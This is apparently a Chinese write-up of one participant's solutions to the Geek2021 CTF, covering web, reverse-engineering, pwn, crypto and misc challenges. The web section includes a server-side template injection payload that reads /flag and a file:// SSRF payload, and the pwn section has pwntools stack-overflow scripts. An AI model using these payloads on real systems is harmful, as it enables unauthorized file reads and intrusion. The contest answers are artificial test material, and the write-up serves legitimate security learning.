Geek2021前言

参加了极客大挑战2021年的比赛，以下是我能做出来的一些题目，最终获得极客大挑战2021第六名，还不错，优胜奖。记录一下解题方法。

Geek2021-web

babyphp

• 查看源码

• 查看robots.txt

  

• 查看noobcurl.php

  

• 根目录便是 noobcurl.php?url=file:///flag

  

babyPy

• 打开链接

  

• 构造{{request.__init__.__globals__[ '__builtins__'].open( '/flag'). read()}}

  

• 可以得到

  

蜜雪冰城甜蜜蜜

这个题也很简单，后面的js脚本使用的是id（看得懂jq就行）

任意改一下id就行，改为9再点击。（当然用jq的$("[href]='#'").attr("id","9") 把id全部改为9也行，但是要油猴脚本，纯js也可以）

下面就是点击了

babyxss

这个题很简单，js中的replace函数只能替换一个，所以直接

Geek2021-re

RE0

说逆向，那就一定有一个第一个练手的程序，re0就是一个题，出题人也太好了，连学习视频也有，那就是IDA的入门。

下载运行程序，就可以看到，不知道输入什么，就可以按照提示一步步操作

用IDA打开链接里面的程序文件，就可以按键shift+F12就会有奇迹出现

然后，肯定知道输入什么了，，就这样入门一个逆向题就有了100分。

刘壮桌面美化大师

首先，看一下题，啊这，这是一道android题，既然是入门，也是比较简单

下载以后，先运行，先说一下比较简单的方法，毕竟它是一道签到题（起初，反正我没有这样做，用apktool逆向出来了，然后可以在string资源查到这个flag)，签到嘛，肯定很简单，能看懂android源码的人应该知道，它就是往桌面添加了一个小控件，所以，把它安装好后，在你的手机桌面，找一下添加桌面控件的地方，

就可以看到一个神奇的控件,点击添加到桌面，它就会

还有一个方法，就是使用mt管理器，里面可以看到关于apk的很多信息,没有加固，可以直接反编译的哈

在点击查看，手机上搜索apk里的resource.arsc文件，就可得到

对了，mt管理器是要会员的哈，到这里就对它有了一个apk了解

买activity

先看题，100分，也是一个简单题

下载apk文件，然后安装

这界面也是比较魔性了，就是一个聊天窗口，对话还是挺有意思的，不说了，直接看解题思路

这题专业点可以反编译，读一下它的源码，能够发现它的一个activity没有intent入口，就是对话中的买activity,送一个exportedActivity,这个题我也是在手机上完成的，说一下

• 先用mt管理器查看它的送的exportedActivity路径，就是查看AndroidManifest.xml文件，知识点就是android一个activity要启动，就必须在这个文件里面注册activity,

可以看到有androidManifest.xml声明了两个activitty,一个是可以从桌面作为入口的MainActivity,另一个ExportedActivity可以看到没有配置启动入口,同时配置了exported属性，意味着就可以被别的应用打开，当然不配置这一属性，自己用intent跳转也可以，不过ta自己没有做，所以我们就直接自己启动这一个exportedActivity

可以下载一些可以强制启动窗口的软件，也可以像我一样，自己写一个intent来启动，为了方便就用了手机上的AIDE写了一个intent启动activity

买activity这个软件的包名和exportedActivity的类名可以在AndroidManifest.xml清单中看到，写好代码就可以编译安装了，先打开一下 买activity软件，然后启动这个新编译安装的app,就是结果

总结一下，就是这题了解Android应用的结构，还是不难啊

调试

话不过说，先看一下题

下载了这个题，感觉应该简单，可（一言难尽），这题其实就是考对软件IDA的熟悉运用。这个文件需要在Linux上运行，就肯定不能用手机完成了，Linux就只能用虚拟机，这里用VMware安装Ubuntu运行，采用IDA的远程调试，当然如果有IDA for Linux也可以。

具体远程调试IDA就不用讲了，直接开始吧。在linux里命令启动linux_server64,

然后打开IDA在debugger里面选择，run->remote linux debugger

运行在linux里面的ts程序，看一下start函数，有这么多汇编指令，前面的几乎没什么用，看一下函数sub_561288F35590点进去看一下，啥都没有，

然后看一下下面的sub_561288F35520函数，这里面东西可不少，不过F5后，也是啥都没有，没用。只能看一下sub_561288F35364函数了，通过一通乱调试过后，唯一发现有用的信息只有一个字符串

，还有一个函数，

初看一下，不知道，熟悉就会知道，这个函数就是对字符串进行base58解密，这题就是一个自解密的过程，抱着猜的思想，可以把字符串“797G91WhVFeM465FoGJuWpHKDro2QyCixboJV7uhVAV…..”直接复制到在线base58解密的网站，一键解密就可以获得flag，当然了，base85,64,32其它也可以试试，就是文本特征不太符合。其次，看到这串字符串，它也符合一定的base58编码后的文本特征，也可以想到，前提是要了解。

哈哈，多看一些加密解密的函数还是有用的，即使自己不会，在线工具也会帮忙解决一些问题。

链接：在线base58解码

珍惜生命

题目

内容

一个easypyc.pyc文件

解题

• 就是一个pyc的二进制文件，把它放进在线pyc反编译工具可以得到它的python源码

• 然后使用z3进行解密 ，先解出key为“S&yc@-6”,然后再使用z3解出flag，需要特别说明一下解出的key有多个值，需要验证

  from z3 import *
  
  key=[BitVec('vi[%d]'%i, 8) for i in range(8)]
  S=Solver()
  KEY_cmp =[]
  for i in "Syclover":
  KEY_cmp.append(ord(i))
  
  S.add(KEY_cmp[0] ==
  ​        (
  ​          key[1] * key[2] - key[5] * 72 - key[4] * 3 - key[3]
  ​          ^ key[1] + (key[3] << 2) + key[2] * 6 - key[7] & key[6] - 1000
  ​        )
  ​        \- 14
  ​      )
  S.add(KEY_cmp[1] ==
  ​        (
  ​          key[5] * 7 + key[3] * 3 + key[2] + key[6] - (key[2] >> 2) - key[1]
  ​          ^ key[0] + key[7] + (key[4] ^ key[1]) + (key[4] | key[7])
  ​        )
  ​        \- 801
  ​      )
  
  
  S.add(KEY_cmp[2] ==
  ​        (
  ​          (key[6] * 5 + key[2] * 6 - key[3] * 7) + key[4]
  ​          | key[5] + key[4] * 10 + key[0]
  ​          ^ (key[1] * 3 - key[7]) + key[0] + key[1]
  ​        )
  ​        \- 924
  ​      )
  
  S.add(KEY_cmp[3] ==
  ​        (
  ​          key[1] * 3
  ​          \+ key[5] * 9
  ​          \+ key[0]
  ​          \+ key[2] * 2
  ​          \+ key[3] * 5
  ​          \- key[4] * (key[6] ^ key[7])
  ​        )
  ​        \+ 321
  ​        \- 16
  ​      )
  
  S.add(KEY_cmp[4] ==
  ​        (
  ​          key[5] * 12 - key[0]
  ​          ^ (
  ​            (key[6] - key[3] * 23)
  ​            \+ key[4] * 3
  ​            \+ key[2] * 8
  ​            \+ key[1]
  ​            \- key[7] * 2
  ​          )
  ​          \+ key[6] * 4
  ​          \+ 1324
  ​        )
  ​        \+ 1
  ​      )
  
  S.add(KEY_cmp[5] ==
  ​        (
  ​          ((key[3] * 54 - key[1] * 3) + key[2] * 3 + key[4] * 11 - key[5] * 2)
  ​          \+ key[0]
  ​          \+ key[7] * 3
  ​          \- key[6]
  ​          \- 6298
  ​        )
  ​        \+ 40
  ​      )
  
  S.add(KEY_cmp[6] ==
  ​        (
  ​          ((key[7] - key[6] * key[3]) + key[2] * key[2] - key[4] * 32)
  ​          \+ key[5] * (key[0] >> 2)
  ​          \- key[1] * key[1]
  ​          \- 6689
  ​        )
  ​        \+ 41
  ​      )
  S.add(KEY_cmp[7] ==
  ​        (
  ​          (key[5] - key[3] * 41) + key[6] * 41 + key[5]
  ​          ^ ((key[4] & key[6] | key[0]) - (key[7] * 24 | key[2]))
  ​          \+ key[1]
  ​          \- 589
  ​        )
  ​        \- 36
  ​      )
  ​        
  
  o=[]
  
  while(S.check()==sat):
  	condition = []
  	m = S.model()
  	p=""
  	for i in range(8):
  		p+=chr(int("%s" % (m[key[i]])))
  		condition.append(key[i]!=int("%s" % (m[key[i]])))
  		print(p)
  		o.append(p)
  		S.add(Or(condition))
  #列举出所有可能
  
  key_cmp = ""   
  Key="S&yc@-6."#发现这一个是对的,后面是测试代码
  key = []   
  if 1==1:         
  ​      KEY_cmp = "Syclover"
  ​      key_cmp = ""
  ​      for i in Key:
  ​        key.append(ord(i))   
  ​      key_cmp += chr(
  ​        (
  ​          key[1] * key[2] - key[5] * 72 - key[4] * 3 - key[3]
  ​          ^ key[1] + (key[3] << 2) + key[2] * 6 - key[7] & key[6] - 1000
  ​        )
  ​        \- 14
  ​      )
  ​      key_cmp += chr(
  ​        (
  ​          key[5] * 7 + key[3] * 3 + key[2] + key[6] - (key[2] >> 2) - key[1]
  ​          ^ key[0] + key[7] + (key[4] ^ key[1]) + (key[4] | key[7])
  ​        )
  ​        \- 801
  ​      )
  ​      key_cmp += chr(
  ​        (
  ​          (key[6] * 5 + key[2] * 6 - key[3] * 7) + key[4]
  ​          | key[5] + key[4] * 10 + key[0]
  ​          ^ (key[1] * 3 - key[7]) + key[0] + key[1]
  ​        )
  ​        \- 924
  ​      )
  ​      key_cmp += chr(
  ​        (
  ​          key[1] * 3
  ​          \+ key[5] * 9
  ​          \+ key[0]
  ​          \+ key[2] * 2
  ​          \+ key[3] * 5
  ​          \- key[4] * (key[6] ^ key[7])
  ​        )
  ​        \+ 321
  ​        \- 16
  ​      )
  ​      key_cmp += chr(
  ​        (
  ​          key[5] * 12 - key[0]
  ​          ^ (
  ​            (key[6] - key[3] * 23)
  ​            \+ key[4] * 3
  ​            \+ key[2] * 8
  ​            \+ key[1]
  ​            \- key[7] * 2
  ​          )
  ​          \+ key[6] * 4
  ​          \+ 1324
  ​        )
  ​        \+ 1
  ​      )
  ​      key_cmp += chr(
  ​        (
  ​          ((key[3] * 54 - key[1] * 3) + key[2] * 3 + key[4] * 11 - key[5] * 2)
  ​          \+ key[0]
  ​          \+ key[7] * 3
  ​          \- key[6]
  ​          \- 6298
  ​        )
  ​        \+ 40
  ​      )
  ​      key_cmp += chr(
  ​        (
  ​          ((key[7] - key[6] * key[3]) + key[2] * key[2] - key[4] * 32)
  ​          \+ key[5] * (key[0] >> 2)
  ​          \- key[1] * key[1]
  ​          \- 6689
  ​        )
  ​        \+ 41
  ​      )
  ​      key_cmp += chr(
  ​        (
  ​          (key[5] - key[3] * 41) + key[6] * 41 + key[5]
  ​          ^ ((key[4] & key[6] | key[0]) - (key[7] * 24 | key[2]))
  ​          \+ key[1]
  ​          \- 589
  ​        )
  ​        \- 36
  ​      )
  print(key_cmp)
  
  K=Solver() #解flag
  vo= [BitVec('vo[%d]'%i, 8) for i in range(51)]
  flag = [ 113,
  ​      74,
  ​      71,
  ​      35,
  ​      29,
  ​      91,
  ​      29,
  ​      12,
  ​      114,
  ​      73,
  ​      60,
  ​      52,
  ​      69,
  ​      5,
  ​      113,
  ​      35,
  ​      95,
  ​      38,
  ​      20,
  ​      112,
  ​      95,
  ​      7,
  ​      74,
  ​      12,
  ​      102,
  ​      23,
  ​      7,
  ​      31,
  ​      87,
  ​      5,
  ​      113,
  ​      98,
  ​      85,
  ​      38,
  ​      16,
  ​      112,
  ​      29,
  ​      6,
  ​      30,
  ​      12,
  ​      65,
  ​      73,
  ​      83,
  ​      36,
  ​      12,
  ​      23,
  ​    ]
  tmp = vo[4:50]    
  for i in range(46):
  	K.add(tmp[i] ^ key[(i + 1) % len(key)] == flag[i])
  print(K.check())
  o=[]
  while(K.check()==sat):
  	condition = []
  	m = K.model()
  	p=""
  	for i in range(46):
  		p+=chr(int("%s" % (m[tmp[i]])))
  		condition.append(tmp[i]!=int("%s" % (m[tmp[i]])))
  		print(p)
  		o.append(p)
  		K.add(Or(condition))
  print(len(o[0])  ) #检查一下长度

  手机运行结果如下

  

答案

SYC{W3$c0m3_T0_th3_py_w0r1d_@nd_z3_1s_s0000_g00d!!}

new_language

题目

内容

一个new_language.exe文件

解题

• 这个题是c#的题，需要使用.NET Refelctor打开，可以找到class geek

• 在这里面就是代码逻辑，这里的逻辑是使用数组下标，所以直接解题脚本,最后写个字典一一替换验证就行

  box= [0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 1, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76,
  ​      0xca, 130, 0xc9, 0x7d, 250, 0x59, 0x47, 240, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0,
  ​      0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15,
  ​      4, 0xc7, 0x23, 0xc3, 0x18, 150, 5, 0x9a, 7, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75,
  ​      9, 0x83, 0x2c, 0x1a, 0x1b, 110, 90, 160, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84,
  ​      0x53, 0xd1, 0, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 190, 0x39, 0x4a, 0x4c, 0x58, 0xcf,
  ​      0xd0, 0xef, 170, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 2, 0x7f, 80, 60, 0x9f, 0xa8,
  ​      0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 210,
  ​      0xcd, 12, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 100, 0x5d, 0x19, 0x73,
  ​      0x60, 0x81, 0x4f, 220, 0x22, 0x2a, 0x90, 0x88, 70, 0xee, 0xb8, 20, 0xde, 0x5e, 11, 0xdb,
  ​      0xe0, 50, 0x3a, 10, 0x49, 6, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79,
  ​      0xe7, 200, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 8,
  ​      0xba, 120, 0x25, 0x2e, 0x1c, 0xa6, 180, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a,
  ​      0x70, 0x3e, 0xb5, 0x66, 0x48, 3, 0xf6, 14, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e,
  ​      0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 30, 0x87, 0xe9, 0xce, 0x55, 40, 0xdf,
  ​      140, 0xa1, 0x89, 13, 0xbf, 230, 0x42, 0x68, 0x41, 0x99, 0x2d, 15, 0xb0, 0x54, 0xbb, 0x16]
  vo=[0x40, 0xf9, 0x85, 0x45, 0x92, 0xfd, 0xfd, 0xcf, 0xb6, 4, 0x9d, 0xcf, 0xfb, 4, 60, 0x51,
  ​        0x3b, 0x4d, 0x92, 0x4d, 0xcf, 0x1a, 0x26, 0xcf, 0x40, 0x4d, 0xb1, 0x4d, 0x40, 0xc3, 0x4d, 0xfd,
  ​        0xfd]
  #字典
  T="abcdefghijklmnopqrstuvwxyz"\
  +"ABCDEFGHIJKLMNOPQRSTUVWXYZ"\
  +"0123456789"\
  +",.?!:;…~_-'/@*+=%&$(<{[|\♀♂#¥£¢€^`]}>)"
  
  Index=[]        
  for i in vo:
  	Index.append(box.index(i))  
  print(Index,len(Index)) #输出下标
  flag=""
  for i in Index:
  	for j in T:
  		n=ord(j)>>4
  		n2=ord(j)&0xf   
  		if (n*16+n2)==i:
     			flag+=j 
  print(flag,len(flag))

  python结果(手机运行的）

  

答案

SYC{right!!_y0u_c0mpIete_C#_reVer3e!!}

easypyc

题目

内容

一个easypyc.exe文件

解答

这个按照提示是使用python打包的exe,所以那就简单了

• 使用pyinstxtractor.py将easypyc.exe还原成pyc文件

  python pyinstxtractor.py easypyc.exe

  在当前目录下生成了easypyc.exe_extracted文件夹，里面有easypyc.pyc文件

• 下面只需要用uncompyle6对easypyc.pyc反编译为python代码

  uncompyle6 easypyc.pyc > easypyc.py

• 有了python代码，就可以使用z3解题了

  from z3 import *
  
  inp=[BitVec('in[%d]'%i, 8) for i in range(32)]
  S=Solver()
  kkkkkkk = 'Geek2021'
  tttttt = [117, 62, 240, 152, 195, 117, 103, 74, 240, 151, 173, 162, 17, 75, 141, 165, 136, 117, 113, 33, 98, 151, 174, 4, 48, 25, 254, 101, 185, 127, 131, 87]
  whatbox = [0] * 256
  k = [0] * 256
  t = 0
  for m in range(256):
  	whatbox[m] = m
  	k[m] = ord(kkkkkkk[(m % len(kkkkkkk))])
  for i in range(256):
  	t = (t + whatbox[i] + k[i]) % 256
  	temp = whatbox[i]
  	whatbox[i] = whatbox[t]
  	whatbox[t] = temp
  
  #处理whatbox print(whatbox)
  q = 0
  w = 0
  e = 0
  for k in range(32):
  	q = (q + 1) % 256
  	w = (w + whatbox[q]) % 256
  	temp = whatbox[q]
  	whatbox[q] = whatbox[w]
  	whatbox[w] = temp
  	e = (whatbox[q] + whatbox[w]) % 256    
  	inp[k] = inp[k] ^ whatbox[e] ^ 102
  
  for i in range(32):
  	inp[i] ^= inp[((i + 1) % 32)]
  
  for j in range(1, 32):
  	inp[j] ^= inp[(j - 1)]
  
  for m in range(32):
  	S.add(tttttt[m] == inp[m])
  
  print(S.check())
  o=[]
  inp=[BitVec('in[%d]'%i, 8) for i in range(32)] #方便print数据
  while(S.check()==sat):
  	condition = []
  	m = S.model()
  	p=""
  	for i in range(32):
      	p+=chr(int("%s" % (m[inp[i]])))
  		condition.append(inp[i]!=int("%s" % (m[inp[i]])))
  		print(p)
  		o.append(p)
  		S.add(Or(condition))
  print(o)

  手机解题如下

  

答案

SYC{Just_a_Eeeeeeasy_Rc4_right?}

win32

题目

内容

一个win32.exe文件

解题

• 这个题是一个exe的文件，首先啥都不说，先查壳，很容易发现它被upx加了壳的

  

• 使用upx.exe对其进行脱壳

  upx.exe -d win32.exe

• 然后拖到ida中分析，Ctrl+F12查看字符串列表，不小心注意到一串奇怪的字符串

  

• 结合题目提示的base64,然后在线base64解码

  

答案

SYC{y0u_g3t_A_f1ag_by_cyberloafing_auth0r}

wasm

题目

内容

xorwasm.wasm文件，xorwasm.js，xorwasm.html

解题

这个题是wasm有关的题，本人尝试过很多方法，包括wasm环境的搭建，chorme的

调试，好像都比较困难。

• 解这个题，必须使用wabt工具包(这个工具包没有梯子搭建也比较困难)，里面有wasm2c工具可以使用，

  将xorwasm.wasm转换为c的代码

  wasm2c xorwasm.wasm -o xorwasm.c

• 打开xorwasm.c里面可以看到wasm的大概运行逻辑

  void WASM_RT_ADD_PREFIX(init)(void) {
  init_func_types();
  init_globals();
  init_memory();
  init_table();
  init_exports();
  }

• 安照这个顺序依次执行，其中在第3个init_memory()函数的定义可以看到

  static void init_memory(void) {
  wasm_rt_allocate_memory((&w2c_memory), 256, 256);
  LOAD_DATA(w2c_memory, 1024u, data_segment_data_0, 1184);
  LOAD_DATA(w2c_memory, 2208u, data_segment_data_1, 524);
  }

  它使用了data_segment_data_0和data_segment_data_1两个数据，然后定位到这数据，

  猜想flag可能在其中

• 然后，在w2c_fxxx的一些函数中，反复看到数据替换，异或操作，

  猜想这么多的数据应该可以用异或爆破出来

• 然后代码如下

  data0=[] #数据为上文提到的data_segment_data_0和data_segment_data_1
  
  o=[]
  for i in range(127):   
  	t=[]
  	for j in data0:
  		t.append(chr(i^j))   #逐个异或解密
  		o.append(t)
  		f = open('flag.txt',mode='w',encoding='utf-8')
  		f.write(str(o))   #写入flag.txt文本，方便搜索
  		f.close()

• 得到了flag.txt,然后用记事本打开(里面很乱)，搜索's', 'y', 'c'(之所以这么写，because里面的格式),很容易可以得到

  出人意料的惊喜surprising

答案

SYC{wasm_Is_S0_Go0d!!}

Geek2021-pwn

check in

内容

一个EIF文件

解题

• 首先放进ida中分析

• 发现就是随机生成数学表达式

• 所以，就直接

  from pwn import *
  import math
  #sh =process("./math")
  sh =remote("123.57.230.48",12343)
  
  print(sh.recvline()) #welcome to Geek2021
  print(sh.recvline()) #I've heard that you're good at calculating
  print(sh.recvline()) #THis is a very easy math question\n
  print(sh.recvline()) #Complete 200 math questions in 66 seconds!!
  
  for i in range(0,200):
  	num1=sh.recvline()\[5:\]\[:-1\]  #num1
  	num2=sh.recvline()\[5:\][:-1\]  #num2
  	a=sh.recvline()\[32:\]\[:-1\]   #  +-*/
  	s=(num1+a+num2)
  	v=int(eval(s))
  	print(s,"=",v)  #num1 +-*/ num2=
  sh.recvline() #Give me your answer!!
  sh.sendline(str(v).encode("utf-8"))
  sh.recvline() #right
  print(sh.recvline()) #Calculate n times
  sh.interactive()
  print(sh.recv())
  sh.close()

恋爱小游戏

题目

内容

一个EIF文件

解答

• 这里直接利用栈溢出

• 所以

  from pwn import *
  #sh=process("./pwn000")
  sh=remote("47.242.20.238",10001)
  s = b'a'*24+b"loveyou"
  sh.sendline(s)
  print(sh.recv())
  sh.interactive()
  sh.close()

恋爱小游戏2.0

题目

内容

一个EIF文件

解答

• 同样，放进ida中进行分析，发现其和1.0就是比较的地方不同

• 这个题理论上提交任意的payload都可以过关

• 所以就

  from pwn import *
  
  #sh=process("./pwn111")
  sh=remote("47.242.20.238",10000)
  
  s = b'a'*24+b"loveyou"
  
  sh.send(s)  #这里只能用send
  
  print(sh.recv())
  sh.interactive()
  sh.close()

Geek 2021-Crypyto

Classica music

题目

内容

qy sdrgx bswkjlpuh zmntp rv wesokk qp fcabwz gqw rdi nlufaaehp rijmntp jjvwmej oqg etz jxmkt tqc wvlnv sv fex sykbclp iih ulh af awedeyj zwp osn qwytwjv hidobdmkvd pvhg tm cditey nuwkjtpwi dw pif xqucsql eqv lpf myvp wgzt cn oqg mngz dhvrf fnv kij mtf estvmx pgyvp waw akcs puk nkanvgiky wsfl uowmhy lgu honwgc hwdtg sz puupv qnv imest ywjtintn kw hipbbx gc daw nqrpxfwukb dsdrgc afymn ntobl lqks sihntcz oitd oqg vqgjp rdi bpil rc nays yj ucksh yeu mauztgiy fowkmqdqc xtfetw cpd pt cup ga rsyeest kg hwcvfy kmkvp fpxg oak xqucsxyav biadzpv orsf cpd tob eqv zpuzq dwulw ach ouy tmvzzu ii cy cgfvgce fbw nnir kdxj fnvwzuczdyk ipl lry yraejuiue dkw svf kffgc dcauwa vhp rfso ka wcritnakw sgy

思路

这道题，根据提示，显然它是一道古典密码的题，但是我们不知道它的key,所以，很自然的就在各种古典密码的在线解密网站进行尝试，结果，发现其可以使用Vigenère维多利亚解密。

解答

• 在线Vigenère维多利亚解密网站：https://www.guballa.de/vigenere-solver
• 很容易就可以得到
• 图中，要求将Key的每个单词用下划线连接，在加上大写的SYC和{}
• 所以，得解

答案

SYC{i_love_classical_m****}

三个也可以

题目

内容

from Crypto.Util.number  import  getPrime,bytes_to_long
from  flag   import  flag
flag  =  bytes_to_long(flag)
p  = getPrime(100)
q  = getPrime(100)
r  = getPrime(100)
n  = p * q *  r
e  = 65537
c  = pow(flag, e, n)
print(n)
print(c)
'''
798898099277934230940128318327632478801901355882614385038310680236381399664973004454688807
249128262668727227416761229197781088291962817031744463346178556057415901512114944554308575
'''

思路

这个题，就是一种rsa加密算法，可以通过gysm工具直接解出，其次，对于那3个最大的素数，可以通过网站查询http://factordb.com/，然后编写解题脚本就OK

解题

• 分解素数

• 写python解题

  import gmpy2
  import binascii
  
  e = 65537
  n=798898099277934230940128318327632478801901355882614385038310680236381399664973004454688807
  c=249128262668727227416761229197781088291962817031744463346178556057415901512114944554308575
  p = 967244547191154261539598250343
  q = 821285845529489288911031313917
  r = 1005682191548299165290460437397
  
  phi = (p-1)*(q-1)*(r-1)
  d = gmpy2.invert(e,phi)
  m = gmpy2.powmod(c,d,n) 
  
  mt=bytes.fromhex(hex(m)[2:]) 
  
  print(mt)

答案

SYC{}

Superposition under the starry sky

题目

内容

from Crypto.Util.number import bytes_to_long, getPrime
from flag import flag
a = getPrime(400)
b = getPrime(400)
n = getPrime(400)
flag = bytes_to_long(flag)
seed = flag
result = []
for i in range(3):
seed = (seed * a + b) % n
result.append(seed)
print(result)
print(n)
"""
[1633086272556604467630727869278140040711140555507257984778706962389364338237377391272504059109316040445365656669071569236, 1206389051656797336925675372412697477889689141174380289961348552709531162180853687116202278892215286522581909284859193494, 664238088423928246579566483655935746695807924062694495126404306361290788561253706421181510449476188038387172722467882193]
2482696698513566590184292572066254640333143735400366745928208268241117181592178071999744746850718587310205478604372055081
"""

思路

这道题考的是lcg的算法，如果熟练的话可以轻松驾驭，我当然是通过baidu学习的啊。

解题

output=[1633086272556604467630727869278140040711140555507257984778706962389364338237377391272504059109316040445365656669071569236, 1206389051656797336925675372412697477889689141174380289961348552709531162180853687116202278892215286522581909284859193494, 664238088423928246579566483655935746695807924062694495126404306361290788561253706421181510449476188038387172722467882193]
n=2482696698513566590184292572066254640333143735400366745928208268241117181592178071999744746850718587310205478604372055081

MMI = lambda A, n,s=1,t=0,N=0: (n < 2 and t%N or MMI(n, A%n, t, s-A//n\*t, N or n),-1)[n<1] #逆元计算
a=(output[2]-output[1])\*MMI((output[1]-output[0]),n)%n
ani=MMI(a,n)
b=(output[1]-a\*output[0])%n
seed = (ani\*(output[0]-b))%n

print(long_to_bytes(seed))

答案

SYC{The_rain_drenched_the_***}

easy house of Classic Crypto

题目

内容

T0s=

4e6577

-.– — ..-

ABABAABBABABBBABABBA

jung vf pynffvp pelcgb

将答案拼接到一起，就可以打开压缩包，得到flag

思路

• 第一个是Base64加密https://tool.ip138.com/base64/ 在线解密
• 第二个是Bin-Hex编码，可以http://bin-hex-converter.online-domain-tools.com/ 在线转换
• 第三个是摩斯电码，可以在 http://rumkin.com/tools/cipher/morse.php在线解密
• 第四个是培根密码，可以在 http://rumkin.com/tools/cipher/baconian.php在线解密
• 第五个是ROT18，ROT13，可以在ROT5、ROT13、ROT18、ROT47位移编码 (qqxiuzi.cn)在线解密

解题

• 解Base64密码，得OK

• 解密码，可得New

• 解摩斯密码，可得YOU

• 解培根密码，可得KNOW

• 解ROT18密码 what is classic crypto

• 组装破解出来的密码 ,除了前3个字母大写，其余密码都小写

  OKNewyouknowwhatisclassiccrypto

答案

SYC{Meaningless_cry***}

Geek 2021-mist

所谓极客就是对周围的一切密切关注，积极找出其中的暗藏的玄机，比如，在连接wifi时

啊这，就是传说中的flag,不过，没错就是它，一个奇怪的flag,莫名其妙就出现在我们身边，好在，有心人。

in the air

很快就迎来了第一个题：

不过，对无线电的理解，那就不用说了，就是wifi的提示，那就….

SGA Character

题目

内容

思路

这道题的内容就只有一张图片，其它hint就是好像在Minecraft中见过，的确见过，它就是附魔台 ，里面有文字就是这样，勾起了童年的回忆

怎么能这样？

其实这是一张文字，它的对应关系可以在银河标准语字母表中查到，其对应关系如下

该明白它的意思了吧

解答

通过不懈的努力，终于一一找到出来了它的对应关系

手抄了一份，大概如下

划线的就是我们需要的flag

答案

SYC{am4z1ngsga1n****}

每日一溜

题目

解题

得到4个文件，将最大的一个改为zip压缩文件，然后解压，得到1.txt

FhMrPh94JHqS2jGQGM6QCsaDzI6ZyHqQQB==
dnd4cnN0dW9wcTM0NTY3QUJDREVGR0lISnl6MDIxUFFSU1RLTk1MT1phYmNkVVZXWFllZmdoaWprbG1uODkrLw==

将第一行的密码和第二行的密码分别base64解密，第一行不能解密，第二行得到vwxrstuopq34567ABCDEFGIHJyz021PQRSTKNMLOZabcdUVWXYefghijklmn89+/

这就足以说明这是魔改字母表，写个脚本恢复就行

v="FhMrPh94JHqS2jGQGM6QCsaDzI6ZyHqQQB=="
a="vwxrstuopq34567ABCDEFGIHJyz021PQRSTKNMLOZabcdUVWXYefghijklmn89+/"
b="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
r="";
for i in v:
	r+=b[a.find(i)];
print(r);

恢复得到U1lDe19LYXJhc3VfVlNfREpSaWNoZXJffQ==

再次进行base64解密就可以得到答案了

答案

SYC{Karasu_VS_DJRicher}

今天有被破防吗？

题目

内容

ans.zip里面有ans.txt,并且，内容如下

f5 fc f5
f5 fc f5
f5 fc f5
f5 fc f5
f5 fc f5
f5 fc f5
f5 fc f5
f5 fc f5
f6 fb f4

……(内容过多不便列举)

8b 91 c5
8b 91 c5（共1166400行）

解题

• 由于ans.txt有3列，类似于图片的rgb的3个参数，所以python代码如下

from PIL import Image
y = 1080 #x坐标 通过对txt里的行数进行整数分解
x = 1080  #y坐标 x * y = 行数1166400
im = Image.new("RGB", (x, y))  #创建图片
file = open('ans.txt')  #打开rbg值的文件
for i in range(0, x):
	for j in range(0, y):
      line = file.readline() #获取一行的rgb值
      rgb = line.split(" ") #分离rgb,文本中有空格
      im.putpixel((i,j), (int('0x'+rgb[0],16), int("0x"+rgb[1],16), int("0x"+rgb[2],16))) #将rgb转化为像素
im.show()  #浏览
im.save('flag.jpg')#保存下来

• 运行可以得到，以下图片之一(rgb位置不一样),不影响解答，我这里都实现了一遍

• 虽然我会ps,但是我还是想吐槽这道题（太不方便了）。用ps打开任意一张图片，都可以看到零零碎碎的flag,为方便操作，建议使用ps的切片工具分块（27x27），再在需要的块区用矩形选择工具分别选择，然后ctrl+j复制选择的图块，共有16块与flag有关（图中没有一一列出）

• 复制了16块，然后隐藏背景图层，用ps的移动工具选择需要的图块进行移动，类似于小学的拼图，拼图完成的结果如下

答案

SYC{Never Konws Best}